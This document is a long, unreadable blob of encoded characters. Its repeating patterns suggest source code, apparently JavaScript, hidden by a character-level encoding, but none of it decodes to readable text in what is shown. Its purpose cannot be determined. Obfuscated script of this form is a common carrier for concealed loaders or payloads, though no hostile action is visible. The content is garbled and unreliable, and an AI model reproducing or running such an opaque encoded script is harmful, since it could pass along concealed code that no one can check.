I_KNKYBJ%T%  ]@[N[J_F_JCFAJI@]x@\[{J]B\%%FIFXpY^U_NV^MUHLZ]]JA[SSLZ]]JA[]J[Z]AMMGCVDKC_KACIYI_KNKYBJsA%FIFXpY^U_NV^MUHFH]MK@AMIL\LZ]]JA[M@^DNU}jhp`ii|j{pln{z}jT%  o]JLCNFB[]Z\[NALG@]%%%%ALLIIZDU\UM@^DNUtrtrFXpY^U_NV^MUHM@^DNUtrtr@AH@C[EN[NI@_LB\N\H@AH@C[E%%%CHNZKAFXpY^U_NV^MUHLZ]]JA[ALLIIZDU\U%XGFCJMMGCVDKC_KACCHNZKA		MMGCVDKC_KACFXpY^U_NV^MUHCHNZKApKBT%ALLIIZDU\UFH]MK@AMIL\pKBtr%CHNZKAMMGCVDKC_KACLZ]]JA[ALLIIZDU\U%%%%R%]J[Z]AMMGCVDKC_KACLZ]]JA[ALLIIZDU\UsAIYI_KNKYBJsAFXpY^U_NV^MUHLZ]]JA[ALLIIZDU\U%%%R%]J[Z]AFH]MK@AMIL\IYI_KNKYBJsAsALZ]]JA[%%R%IZAL[F@A[GH\pF\GIUIIGUADJV%%%%T%FIFH]MK@AMIL\MMGCVDKC_KAC]J[Z]A[]ZJ%YDpWV]HXCoHJ[p@_[F@AUVBD\JJ@K[DJV%FIFXpY^U_NV^MUHYDpWV]HXC		UVBD\JJ@K[YDpWV]HXCSINC\JT%ICMINUBAF]@FXpY^U_NV^MUHSYDpWV]HXC%FIFA[ICMINUBAF]@trFA[FH]MK@AMIL\ 		FA[ICMINUBAF]@trWW]J[Z]AINC\J%R%]J[Z]A[]ZJ%R%IZAL[F@AL^WYJBYVH_XUFFE]DJV%%%T%  xi@]BN[[FAHnf\F[JBJ[N%%%%FIUVBD\JJ@K[UVBD\JJ@K[SSFH]MK@AMIL\MMGCVDKC_KAC]J[Z]A%%KXDF^U\CFA[FH]MK@AMIL\ %YDpWV]HXCoHJ[p@_[F@AFH]MK@AMIL\DJV%BEB]J\FDMHZY%FIFXpY^U_NV^MUHYDpWV]HXC		FH]MK@AMIL\YDpWV]HXCSINC\JT%%%ICMINUBAF]@MMGCVDKC_KACSYDpWV]HXC%FIFA[ICMINUBAF]@trKXDF^U\CBEB]J\FDMHZYFA[ICMINUBAF]@tr%R%%%%BEB]J\FDMHZY%oZ_KN[Jp@_[F@AFXpY^U_NV^MUHDJVKXDF^U\CSBEB]J\FDMHZYUVBD\JJ@K[%%%FIBEB]J\FDMHZY@DWMpK]LDZ\KNVCZFH]MK@AMIL\MMGCVDKC_KACDJV%R%IZAL[F@AZpZVH]FUGFJ%%%T%%%%[]VT%%%FIKJIFAJKFXpY^U_NV^MUH]J[Z]A%FIKJIFAJKUVBD\JJ@K[SSoFXpY^U_NV^MUHxpl`a{ja{pkf}SS@]DFGMG\BGBp[GUxpl`a{ja{pkf}]J[Z]A%%%YIHUKIxpl`a{ja{pkf}%YX^L[pGE]YIHUKIFXpY^U_NV^MUH%KY^^N_EXEYUVFH]MK@AMIL\]\MJUBYFH]MK@AMIL\%^IHI_IG]]@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\MMGCVDKC_KAC%JEDZJUNLJA]IXB[[I@V^YMAMHF%%%^\XZFMLCX@\J__MJJCW]ZGnm|n{gUVBD\JJ@K[WW%%@DN\KZYXWGMMGCVDKC_KACMMGCVDKC_KAC]ND]ppXMZWYICZ@INC\J%@L^NIYU@DN\KZYXWGINC\JUVBD\JJ@K[@DN\KZYXWG%CZY[IppF\\J[hc`mnc|tFXpY^U_NV^MUHr_]JIFWhc`mnc|tFH]MK@AMIL\r_]JIFWFH]MK@AMIL\%LU]JH@]H]CFH]MK@AMIL\MMGCVDKC_KACUVBD\JJ@K[KY^^N_EXEYUV\[]FAH_]EWUCKBEYWW%VYKV[FW[ANHEIApI\BLEKWJ_Gp_JI%%%MMGCVDKC_KAC%N]]NVpp|czhppppufpanbjpppp|gb`pdjvpppp`{panbjppppxp}jifwpppphzn}kpanbjppppyj}|f`app%N]]NVKY^^N_EXEYUV^IHI_IG]]@L^NIYU^\XZFMLCXCZY[IppLU]JH@]H]CXHMDNU[UXH@NANXI[%%FIVYKV[FW[ANHEIT%%FIFA[HJ[p@_[F@AFXpY^U_NV^MUH@DWMpK]LDZ\KNVCZUVBD\JJ@K[FH]MK@AMIL\%%]J[Z]A%R%LZ]]JA[oFH]MK@AMIL\YX^L[pGE]oFH]MK@AMIL\YX^L[pGE]%%%%FIFXpY^U_NV^MUHLZ]]JA[T%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFH]MK@AMIL\%]J[Z]A%R%LZ]]JA[EXpF\FZFGEDEJLZ]]JA[%%%%EYK@E][AVVAXHMDNU[UXH@NANXI[@\J__MJJCW]ZGnm|n{gMMGCVDKC_KAC%\]^BHpZ^AUBDMMGCVDKC_KACEYK@E][AVVAFXpY^U_NV^MUH%BGAW]NFXpY^U_NV^MUHEYK@E][AVVAMMGCVDKC_KAC%LUJZIpW^UA@\J__MJJCW]ZGnm|n{gUVBD\JJ@K[q%ZYVDLJNAULYXEFUVBD\JJ@K[FXpY^U_NV^MUHLUJZIpW^UAMMGCVDKC_KACLZ]]JA[%ZAVE^MICE^MMGCVDKC_KACZYVDLJNAULYXEFFH]MK@AMIL\INC\J%FIFXpY^U_NV^MUHLZ]]JA[\]^BHpZ^AUBDINC\J		FH]MK@AMIL\LZ]]JA[BGAW]NINC\J		ZAVE^MICE^T%ULWNHGVY@FCJ%]J[Z]A%R%%%LZ]]JA[MMGCVDKC_KACFH]MK@AMIL\ZYVDLJNAULYXEF%FIUVBD\JJ@K[LZ]]JA[T%  FA[J]CJNYJCNAJ\%JBZ]NLFDDH@XC@JBZ]NLFDD%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%%]J[Z]A%%%RT%LZ]]JA[EXpF\FZFGEDEJLZ]]JA[%]LJFppVVUVBD\JJ@K[MMGCVDKC_KACVYKV[FW[ANHEI%%JXN^__^\YK@pVIYFXpY^U_NV^MUHLZ]]JA[%FIJXN^__^\YK@pVIYT%%FI[GH\pF\GIUIIGUAFH]MK@AMIL\T%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUH%]J[Z]A%R%FIALp@Z@[NNUFYX^L[pGE]LZ]]JA[T%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUH%]J[Z]A%R%%%%L^WYJBYVH_XUFFE]FH]MK@AMIL\%RJC\JT%FIALp@Z@[NNUFYX^L[pGE]T%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%]J[Z]A%R%R%YHF[J_G\pWGJCKBBF_Ip_]_LZ]]JA[\]^BHpZ^AUBDsA]LJFppVVsABGAW]N%FI\M^IMUZLAAY\WEFW_YX^L[pGE]YHF[J_G\pWGT%]J[Z]A%R%FIJXN^__^\YK@pVIYCNIDVG[IGpNYX^L[pGE]%ULWNHGVY@FCJ%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%%%IZAL[F@ACEE]NMCBXA]HCM^M%T%%%%[]VT%  x@\[l@A[JA[]JX]F[JICZ\G%%FIKJIFAJKFXpY^U_NV^MUH]J[Z]A%FIUBJKIEMY[LUBHX]\MJUBY]J[Z]A%FIMMGCVDKC_KACMMGCVDKC_KAC]J[Z]A%FIFXpY^U_NV^MUHUVBD\JJ@K[]J[Z]A%FIF\\J[p|j}yj}tFXpY^U_NV^MUHr]J[Z]A%FIHJ[p[]NA\FJA[UVBD\JJ@K[]J[Z]A%pFDN@CIUXB[[I@V^YMAMHF%%%FIoMMGCVDKC_KACpFDN@CIUpAWDW\CVHEINNKpFDN@CIU[]ZJ%FIoFH]MK@AMIL\pFDN@CIUSSoFH]MK@AMIL\pFDN@CIUT%pFDN@CIUnm|n{gUVBD\JJ@K[%%%%FIoMMGCVDKC_KACpFDN@CIUpFDN@CIUZVK^W\ZBKLY[ZIN%%%%%R%BWFKNIH^Y@\J__MJJCW]ZGnm|n{gHWW%XCJYJDDNVFUVBD\JJ@K[BWFKNIH^YUVBD\JJ@K[%\FG\WNKMpFDN@CIU XCJYJDDNVF%  x}JKZW|[@]JKFNHA@\[FLGNAK\GNDJ%%YJUCLZ_]pFDN@CIUMMGCVDKC_KACBWFKNIH^Y%I@]JNLGN]]NVpFDN@CIUnm|n{gFH]MK@AMIL\ZVK^W\ZBKLY[ZINN\WDEGNIN@XDNT%FKWXFXF\\D^WDEGNIN@XDNFH]MK@AMIL\BWFKNIH^Y%%%FIoFXpY^U_NV^MUHFKWXFXF\\D^T%@[ZEWFKIVV]VFA[oUVBD\JJ@K[FKWXFXF\\D^%FI@[ZEWFKIVV]VUVBD\JJ@K[SS@[ZEWFKIVV]VMMGCVDKC_KACT%%%FVC]\Z]^LYVJ^AFKWXFXF\\D^%L@A[FAZJIY]YUCBKKA]JF^^BXLIY]YUCBKKA%R%  ]JHF\[J]NCC@LN[F@A%%FIoUVBD\JJ@K[WDEGNIN@XDNFH]MK@AMIL\BWFKNIH^YUVBD\JJ@K[]J[Z]A%FVC]\Z]^LYVJ^AFKWXFXF\\D^%%%%R%R%ZA\J[WDEGNIN@XDNFKWXFXF\\D^@[ZEWFKIVV]V%%%KLp[AMD]@^V@nm|n{gMMGCVDKC_KACXCJYJDDNVF%FIpFDN@CIUnm|n{gFXpY^U_NV^MUH		oFXpY^U_NV^MUHKLp[AMD]@^V@		Z\HW^DHNLJH]_VEHFHCKLp[AMD]@^V@INC\JT%^^[J]pC_EXZI\U\YFLJKLp[AMD]@^V@WWJ%%%FIFVC]\Z]^LYVJ^AKLp[AMD]@^V@		FH]MK@AMIL\UVBD\JJ@K[o@_LNLGJpFAYNCFKN[JKLp[AMD]@^V@[]ZJ%R%ZA\J[KLp[AMD]@^V@%%%FIoFH]MK@AMIL\YJUCLZ_]		FA[oFH]MK@AMIL\YJUCLZ_]MMGCVDKC_KACWKWJ]J[Z]A%FIoMMGCVDKC_KAC\FG\WNKM		UVBD\JJ@K[FA[oIFCJL[FBJ\FG\WNKMWJWL]J[Z]A%%%FIoFH]MK@AMIL\\FG\WNKMT%IUpEB]BFYN^WZLoMMGCVDKC_KACpFDN@CIUFH]MK@AMIL\BWFKNIH^YMMGCVDKC_KAC\[]FAHoUVBD\JJ@K[pFDN@CIUFH]MK@AMIL\BWFKNIH^Y%FIIUpEB]BFYN^WZL		FH]MK@AMIL\MMGCVDKC_KACIUpEB]BFYN^WZL		YJ]\F@ApL@B_N]JIUpEB]BFYN^WZLXHMDNU[UXH@NANXI[]J[Z]A%ZA\J[IUpEB]BFYN^WZL%R%%FIoUVBD\JJ@K[\FG\WNKMT%LpVF[LKpFDN@CIUFH]MK@AMIL\@\J__MJJCW]ZGnm|n{gHWW%%%^YGVG]MEX^UoMMGCVDKC_KACLpVF[LK\[]FAHoFH]MK@AMIL\LpVF[LK%W\LY@VYNXXAEDHHD_WJWIDUWX_G@JECXAEDHHD_
%FI^YGVG]MEX^UT%%@@EZZVB\FH]MK@AMIL\S^YGVG]MEX^U%%%W\LY@VYNXFA[@@EZZVB\tr%R%FIW\LY@VYNX		MMGCVDKC_KACW\LY@VYNX@DWMpK]LDZ\KNVCZFH]MK@AMIL\FXpY^U_NV^MUH%JC\JFIW\LY@VYNX		UVBD\JJ@K[FA[oIFCJL[FBJ\FG\WNKM@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KAC%ZA\J[LpVF[LK^YGVG]MEX^U@@EZZVB\W\LY@VYNX%%%R%_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVWSSMMGCVDKC_KAC_CGXELCHAVWWINWIN]J[Z]A%UHCINMNXpLG_W[N]CHE^U[^X\F[%KY^^N_EXEYUVMMGCVDKC_KAC]\MJUBYFH]MK@AMIL\%JJHKY\BLGFWMEZVK^W\ZBKLY[ZINFH]MK@AMIL\%YYXNNKZ_HXMYDoFXpY^U_NV^MUHJJHKY\BLGFWME%JJHKY\BLGFWME KY^^N_EXEYUVMMGCVDKC_KAC%%%ZVK^W\ZBKLY[ZINUVBD\JJ@K[KY^^N_EXEYUV KY^^N_EXEYUVMMGCVDKC_KAC%%U]KNBNFAUZ^@CUVBD\JJ@K[MMGCVDKC_KACFXpY^U_NV^MUHG@BJpZ]Cgpz}cpg`|{F\\J[p|j}yj}tFXpY^U_NV^MUHrp|j}yj}tMMGCVDKC_KACr%XFIYIHV_@pKJIFAJKFH]MK@AMIL\		xbzpczhfapkf}xbzpczhfapkf}ZVK^W\ZBKLY[ZINFXpY^U_NV^MUH%%%%VZ_A_JKJIFAJKFXpY^U_NV^MUH		xpczhfapkf}xpczhfapkf}ZVK^W\ZBKLY[ZINFH]MK@AMIL\%NKA]HYKJIFAJKFXpY^U_NV^MUHxpl`a{ja{pkf}ZVK^W\ZBKLY[ZIN%@^pF[_UBU]ApI\BLEKWJ_Gp_JI%%UVBD\JJ@K[%N]]NVppn{gpmppppczhfapmn|jppppk`bnfappppgmpmpppphn{gpmppppnm|n{gpmppppl`a{ja{kf}pmppppbzkf}pmppppczhfakf}pmpppp|czhppppyj}|f`app%N]]NVMMGCVDKC_KACYYXNNKZ_HXMYDUHCINMNXpLG_U]KNBNFAUZ^@CMMGCVDKC_KACYJUCLZ_]FXpY^U_NV^MUH\FG\WNKMFH]MK@AMIL\nm|n{gFXpY^U_NV^MUHNKA]HYFH]MK@AMIL\XFIYIHV_@pFH]MK@AMIL\VZ_A_JUVBD\JJ@K[]\MJUBYFXpY^U_NV^MUHXHMDNU[UXH@NANXI[%%FI@^pF[_UBU]T%FIFA[HJ[p@_[F@AUVBD\JJ@K[@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%]J[Z]A%R%FIYUKA]KF^LpMLUMZ@^pF[_UBU]T% L@B_NL[]JHF\[]V %%@DWMpK]LDZ\KNVCZFH]MK@AMIL\FXpY^U_NV^MUH%]J[Z]A%R%FI\M^IMUZLAAY\WEFW_\FG\WNKM@^pF[_UBU]T%LDGZAFpWLVH[K[\FG\WNKMXGUWZVGJZFI%^^[J]pC_EXZI\U\YFLJ\FG\WNKMWNWN%CNIDVG[IGpN\FG\WNKM%%[EKM^^WMFAZ@NpFDN@CIUMMGCVDKC_KACBWFKNIH^YMMGCVDKC_KAC@^pF[_UBU]FXpY^U_NV^MUH%%%%[EKM^^WMFAZ@NpFDN@CIUMMGCVDKC_KACBWFKNIH^YXHMDNU[UXH@NANXI[UVBD\JJ@K[J\ELYZBYXJKKJ\ELYZB
%oFALCZKJp@ALJ\FG\WNKM%\J[p[]NA\FJA[FH]MK@AMIL\%%%%R%%%ZA\J[XFIYIHV_@pVZ_A_JNKA]HY%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%R%  ZA]JNLGNMCJ%%R%IZAL[F@AM]H]LVBMG^[JUXZW_GHA\Jp%%%TWINA\WWJMKJB^KWFZJppWINA\
%FIFH]MK@AMIL\XZW_GHA\Jp]J[Z]AINC\J%%%FCGVH_LAAKVUVBD\JJ@K[XZW_GHA\Jp%FIFCGVH_LAAKV]J[Z]A[]ZJ%FIFCGVH_LAAKV]J[Z]AINC\J%@XX@M\CHG\[]FXpY^U_NV^MUHXZW_GHA\Jp%GU_H]^@BUFCMFH]MK@AMIL\@XX@M\CHG\[]FXpY^U_NV^MUH@XX@M\CHG\[]s[%]J[Z]AGU_H]^@BUFCM UVBD\JJ@K[@XX@M\CHG\[]%R%IZAL[F@AJUWWVAWYF]BX@AZLAMIBINC\J%T%\[N[FL_CGXELCHAVWAZCC%FI@AZLAMIBT%_CGXELCHAVWAZCC%R%FI_CGXELCHAVWAZCC]J[Z]A_CGXELCHAVW%%XZW_GHA\JpINC\J%[L_[[Ip@ZM[[HGoFH]MK@AMIL\]\MJUBYADBB_p_FV^gpfa{pbnw gpfa{pbnw]^CBWYHA^\ADBB_p_FV^%FI[L_[[Ip@ZM[[HG		[L_[[Ip@ZM[[HG		[L_[[Ip@ZM[[HGXZW_GHA\JpoUVBD\JJ@K[]\MJUBY%FIFH]MK@AMIL\XZW_GHA\Jp		MMGCVDKC_KACXZW_GHA\JpXZW_GHA\JpEXpF\FZFGEDEJXZW_GHA\Jp%%%FIFH]MK@AMIL\XZW_GHA\Jp		FH]MK@AMIL\XZW_GHA\Jp		FXpY^U_NV^MUHXZW_GHA\Jp		M]H]LVBMG^[JUXZW_GHA\Jp		YUKA]KF^LpMLUMZXZW_GHA\JpT%_CGXELCHAVWXZW_GHA\Jp%]J[Z]A_CGXELCHAVW%R%LHMJEX]N@GMFZYEXHXZ]UADppWFXpY^U_NV^MUH%FIFXpY^U_NV^MUHLHMJEX]N@		FXpY^U_NV^MUHLHMJEX]N@		UVBD\JJ@K[LHMJEX]N@		M]H]LVBMG^[JULHMJEX]N@		YUKA]KF^LpMLUMZLHMJEX]N@T%_CGXELCHAVWLHMJEX]N@%]J[Z]A_CGXELCHAVW%R%_CGXELCHAVWINC\J%]J[Z]A_CGXELCHAVW%R%IZAL[F@AW[N]CHE^U[^X\F[@AZLAMIBINC\J%T%\[N[FLLYF]DCIHpYAZCC%%%FI@AZLAMIBT%  xmC@LDnfY\J[[FAH\\JL[F@A%%LYF]DCIHpYAZCC%R%  xkN[Nb@KZCJ\J]FNCFUNMCJKF\_N[LGJ]%%FILYF]DCIHpYAZCC]J[Z]ALYF]DCIHpY%XZW_GHA\JpJUWWVAWYF]BX%FIFXpY^U_NV^MUHXZW_GHA\JpSSMMGCVDKC_KACXZW_GHA\JpSSUVBD\JJ@K[XZW_GHA\JpSSM]H]LVBMG^[JUXZW_GHA\JpSSYUKA]KF^LpMLUMZXZW_GHA\JpT%LYF]DCIHpYINC\J%]J[Z]ALYF]DCIHpY%R%LYF]DCIHpYFH]MK@AMIL\ZpWA_IA_EMIYLFVpXZW_GHA\Jp%]J[Z]ALYF]DCIHpY%R%IZAL[F@AHDXIGVJWFNJ\WGWB@AUYXH^B]%T%FIFH]MK@AMIL\WGWB@AUYXH^B]SSFXpY^U_NV^MUHWGWB@AUYXH^B]qSSMMGCVDKC_KACWGWB@AUYXH^B]sWIsWM]J[Z]A%%%X\[\LCB@oFXpY^U_NV^MUHyMMGCVDKC_KACWGWB@AUYXH^B]WW%%X\[\LCB@MMGCVDKC_KACX\[\LCB@X\[\LCB@tr%FIX\[\LCB@SSX\[\LCB@]J[Z]AX\[\LCB@%]J[Z]A%R%IZAL[F@AG[DBU^XHBIXpDUKYE\BAI_%%T%]J[Z]AFH]MK@AMIL\GJWKJLYE\BAI_tr%R%IZAL[F@A[IB^@@IDZVNJD@AXFB\HI_G%T%FIFXpY^U_NV^MUHFB\HI_GSSFB\HI_G]J[Z]AFB\HI_GV_GNI_DNJK]DDUJ]KN]V_GNI_DNJ%\[N[FLIYIFEYVWCV\AZCC%FIIYIFEYVWCV\AZCCT%IYIFEYVWCV\INC\J%FIUVBD\JJ@K[UVBD\JJ@K[T%%%%pKKKJIFAJKUVBD\JJ@K[xpl`a{ja{pkf}KJIFAJKUVBD\JJ@K[nm|n{g%FIpKKT%%%AV\@p\oKF\DpI]JJp\_NLJpKK%FIAV\@p\INC\J		AV\@p\IYIFEYVWCV\[]ZJ%R%R%FIIYIFEYVWCV\T%FIUVBD\JJ@K[UVBD\JJ@K[oZ_KN[Jp@_[F@AUVBD\JJ@K[FH]MK@AMIL\FXpY^U_NV^MUHN[]FMZWHWWJGHAB@FG]EVIUN[]FMZWH
%RJC\JFIMMGCVDKC_KACUVBD\JJ@K[T%GZBHBC[LXGBFA[HJ[p@_[F@AMMGCVDKC_KAC%%%FIGZBHBC[LXGB		FH]MK@AMIL\GZBHBC[LXGBIYIFEYVWCV\INC\J%R%R%FIIYIFEYVWCV\T%]J[Z]AFB\HI_G%  xjA[F[V}JL@]K\\FKJMN]]JHF@A%%R%F\H]^MMW_UVBD\JJ@K[%FIMMGCVDKC_KACFB\HI_GF\H]^MMW_]J[Z]AFB\HI_G%FIFXpY^U_NV^MUHFH]MK@AMIL\FB\HI_GMMGCVDKC_KAC]J[Z]AFB\HI_G%%%%XGFCJFXpY^U_NV^MUHFB\HI_GF\H]^MMW_T%_EI@L@EIZ%FIFH]MK@AMIL\FXpY^U_NV^MUHT%[]VT%_EI@L@EIZoFXpY^U_NV^MUH]NAK@BpMV[J\%RLN[LG{G]@XNMCJC[A_M[pT%%_EI@L@EIZ%RLN[LGjWLJ_[F@AC[A_M[pT%_EI@L@EIZ%R%R%FIFXpY^U_NV^MUH_EI@L@EIZT%_EI@L@EIZFXpY^U_NV^MUHZAF^FK[]ZJ%XGFCJUVBD\JJ@K[_EI@L@EIZ_EI@L@EIZFXpY^U_NV^MUH_EI@L@EIZ%R%FB\HI_GsA _EI@L@EIZUVBD\JJ@K[%R%]J[Z]AFB\HI_G%R%%IZAL[F@AEXpF\FZFGEDEJFB\HI_G%T%%FIFH]MK@AMIL\FB\HI_GSSFXpY^U_NV^MUHFB\HI_G]J[Z]AFB\HI_GXCFUCUALNNHJ^^XCFUCUAL
%BEB]J\FDMHZYUVBD\JJ@K[MMGCVDKC_KACFB\HI_G%]J[Z]AFXpY^U_NV^MUHBEB]J\FDMHZYBEB]J\FDMHZYFB\HI_GVWD_EEI^[U\LWJVWD_EEI^[VWD_EEI^[VWD_EEI^[%R%IZAL[F@ACNIDVG[IGpNACWDELJ%T%  BN[]FW[]NA\_@\J%%FIFXpY^U_NV^MUHMMGCVDKC_KACSSMMGCVDKC_KACFH]MK@AMIL\]J[Z]A%FIFXpY^U_NV^MUHACWDELJSSACWDELJSSoUVBD\JJ@K[ACWDELJ]J[Z]A%  LNZ\NC\FAHCJ[@A%%FIF\\J[hc`mnc|tMMGCVDKC_KACrSSMMGCVDKC_KAChc`mnc|tFH]MK@AMIL\rT%hc`mnc|tFXpY^U_NV^MUHrHJ[p@_[F@AFH]MK@AMIL\N]]NV%%%FIMMGCVDKC_KAChc`mnc|tUVBD\JJ@K[rhc`mnc|tFXpY^U_NV^MUHrN]]NV%R%YE\BAI_hc`mnc|tMMGCVDKC_KACr%FB\HI_GoMMGCVDKC_KACACWDELJ%%%FIMMGCVDKC_KACFB\HI_G]J[Z]A%%%%FIUVBD\JJ@K[FB\HI_GWLNINWNFB\HI_GEXpF\FZFGEDEJFB\HI_G%%YE\BAI_tFXpY^U_NV^MUHACWDELJrN]]NV_ACWDELJGUVBD\JJ@K[FB\HI_GHXHMDNU[UXH@NANXI[[UVBD\JJ@K[%FIUVBD\JJ@K[YE\BAI_T%%%I@]JNLGYE\BAI_N\JZpI[]EMYDpWV]HXCT%%%FIFXpY^U_NV^MUHYDpWV]HXCSSF\\J[YDpWV]HXCt[rSSFA[YDpWV]HXCt[rUVBD\JJ@K[ZA\J[YE\BAI_tJZpI[]EMr%%%%R%XGFCJUVBD\JJ@K[YE\BAI_T%IVXJ^^]N\I^WAZCC%GEU\MULJZ]@AZCC%I@]JNLGYE\BAI_N\JZpI[]EMYDpWV]HXCT%BM@IIJL^YWEKUVBD\JJ@K[YDpWV]HXC		F\\J[YDpWV]HXCt[rFA[YDpWV]HXCt[r%FIGEU\MULJZ]@AZCCSSBM@IIJL^YWEKGEU\MULJZ]@T%GEU\MULJZ]@BM@IIJL^YWEK%IVXJ^^]N\I^WJZpI[]EM%R%R%FIIVXJ^^]N\I^WAZCCM]JND%ZA\J[YE\BAI_tIVXJ^^]N\I^Wr%%R%%%%R%Z_KN[Jp@_[F@AFXpY^U_NV^MUHYE\BAI_MMGCVDKC_KAC%hc`mnc|tFH]MK@AMIL\rYE\BAI_%R%IZAL[F@AZ\HW^DHNLJH]_VEHFHCACWDELJ%T%FIFH]MK@AMIL\ACWDELJSSACWDELJ]J[Z]AINC\J%FIF\\J[hc`mnc|tFXpY^U_NV^MUHrSSMMGCVDKC_KAChc`mnc|tMMGCVDKC_KACrT%%%%hc`mnc|tFH]MK@AMIL\rFXpY^U_NV^MUHUVBD\JJ@K[HJ[p@_[F@AMMGCVDKC_KACN]]NVN]]NV%FIFXpY^U_NV^MUHhc`mnc|tUVBD\JJ@K[rhc`mnc|tFH]MK@AMIL\rN]]NV%R%  l}jef{\_JLFNCFUJ]J_CFLN[@]%%%YE\BAI_hc`mnc|tMMGCVDKC_KACr%^[NWM^AAZA^FH]MK@AMIL\ACWDELJ%FIF\\J[YE\BAI_t^[NWM^AAZA^r		FXpY^U_NV^MUHYE\BAI_t^[NWM^AAZA^r		F\\J[YE\BAI_t^[NWM^AAZA^rtGrT%FIFA[oUVBD\JJ@K[ACWDELJ]J[Z]AUVBD\JJ@K[%FB\HI_GoFH]MK@AMIL\ACWDELJ%FIFH]MK@AMIL\FB\HI_GT%FIFXpY^U_NV^MUHFB\HI_GWIJWMFB\HI_GEXpF\FZFGEDEJFB\HI_G%]J[Z]AMMGCVDKC_KACFB\HI_GYE\BAI_t^[NWM^AAZA^rtGr[]ZJFH]MK@AMIL\%R%]J[Z]AINC\J%%%R%%KYIXIYZ]oFH]MK@AMIL\ACWDELJINC\JAZCC%FI%%%FXpY^U_NV^MUHKYIXIYZ]		FXpY^U_NV^MUHMMGCVDKC_KACKYIXIYZ]%		WJFpLJXCX\KDIYACWDELJ%T%FIFA[oFH]MK@AMIL\ACWDELJ]J[Z]AINC\J%%%%FB\HI_G\[]FAHoFXpY^U_NV^MUHACWDELJ%FIFXpY^U_NV^MUHFB\HI_GFB\HI_GEXpF\FZFGEDEJFB\HI_G%FIYUKA]KF^LpMLUMZFB\HI_G]J[Z]AUVBD\JJ@K[%R%]J[Z]AINC\J%%%R%IZAL[F@AYHNK^MAALN@ZV%T%\[N[FLYE\BAI_AZCC%FIYE\BAI_AZCC]J[Z]AYE\BAI_%%FB\HI_G\[]FAHoMMGCVDKC_KAC]\MJUBY%FIFXpY^U_NV^MUHFB\HI_GFB\HI_GEXpF\FZFGEDEJFB\HI_G%YE\BAI_MMGCVDKC_KACFB\HI_G%%]J[Z]AYE\BAI_%R%IZAL[F@ABF[_BX[HCVZCpF]AV%%T%%%]J[Z]AFH]MK@AMIL\YHNK^MAALN@ZV%R%IZAL[F@ALJDKBWJGKDZ%%%T%]J[Z]AXB[[I@V^YMAMHFMMGCVDKC_KAC@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACFXpY^U_NV^MUH%R%IZAL[F@A[CWL\GNHWMX%T%@ENpHI_IEIU[N]]NV%FIMMGCVDKC_KACFXpY^U_NV^MUHT%  ]JLZ]\FYJINL[@]V%%BNZFMBUV]poHJ[p@_[F@AUVBD\JJ@K[N]]NV%FIMMGCVDKC_KACBNZFMBUV]p@ENpHI_IEIU[BNZFMBUV]p%  x|_NLJ]mC@LD_N[LG[V_JJAYF]@ABJA[%%R%FB\HI_GoMMGCVDKC_KACLJDKBWJGKDZoFXpY^U_NV^MUHLJDKBWJGKDZ%FIMMGCVDKC_KACFB\HI_G		UVBD\JJ@K[FB\HI_GMMGCVDKC_KACT%[EpJCWFpFXpY^U_NV^MUHFH]MK@AMIL\FB\HI_Gq[]ZJ%FIFH]MK@AMIL\[EpJCWFp		JB_[V@ENpHI_IEIU[tUVBD\JJ@K[rSSJB_[V[EpJCWFptFH]MK@AMIL\r		[EpJCWFptMMGCVDKC_KACr@ENpHI_IEIU[tUVBD\JJ@K[r@ENpHI_IEIU[[EpJCWFp%R%]J[Z]A@ENpHI_IEIU[%R%IZAL[F@AA_Y]NXMHVHNC@AWML^YXY%T% L@AYJW[]FJ %%[]VT%FIKJIFAJKFXpY^U_NV^MUH]J[Z]A%M^KY^XW\E@ZJCFH]MK@AMIL\%FI@AWML^YXYMMGCVDKC_KACSS@AWML^YXYMMGCVDKC_KACT%_]JY[CWL\GNHWMX%FI%F\\J[_]JYtFH]MK@AMIL\r_]JYtFH]MK@AMIL\r		_]JYtFH]MK@AMIL\r@AWML^YXY%%%%		M^KY^XW\E@ZJCFA[_]JYtFH]MK@AMIL\r@AWML^YXYUVBD\JJ@K[%%%]J[Z]A%R%  \J\^ZFCFAJN]\[]N[JHV%%@ENpHI_IEIU[N]]NV%%YXHMDNU[UXH@NANXI[%MMGCVDKC_KACBF[_BX[HCVZCpF]AV%UVBD\JJ@K[]\MJUBY%%%UVBD\JJ@K[MMGCVDKC_KAC]\MJUBYFXpY^U_NV^MUH%%FH]MK@AMIL\@AWML^YXY%UVBD\JJ@K[M^KY^XW\E@ZJC%FH]MK@AMIL\M^KY^XW\E@ZJC%FXpY^U_NV^MUHF\\J[p|j}yj}tMMGCVDKC_KACrFA[p|j}yj}tFH]MK@AMIL\rM^KY^XW\E@ZJC%%%%FIFXpY^U_NV^MUHFXpY^U_NV^MUHoZ_KN[Jp@_[F@AFXpY^U_NV^MUH@ENpHI_IEIU[FH]MK@AMIL\%]_DCDZL\XB[[I@V^YMAMHF%FIoUVBD\JJ@K[]_DCDZL\SSpAWDW\CVHEINNK]_DCDZL\[]ZJT%oFH]MK@AMIL\LJDKBWJGKDZUVBD\JJ@K[FXpY^U_NV^MUH@ENpHI_IEIU[%R%RLN[LG{G]@XNMCJC[A_M[pT%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%%%%IZAL[F@ALZ_LLJLNYAZIW@ENpHI_IEIU[%T%FIFH]MK@AMIL\@ENpHI_IEIU[SSJB_[V@ENpHI_IEIU[tFH]MK@AMIL\rSSFH]MK@AMIL\@ENpHI_IEIU[tMMGCVDKC_KACr]J[Z]AFH]MK@AMIL\%ICMINUBAF]@@ENpHI_IEIU[tMMGCVDKC_KACr%FIoMMGCVDKC_KACICMINUB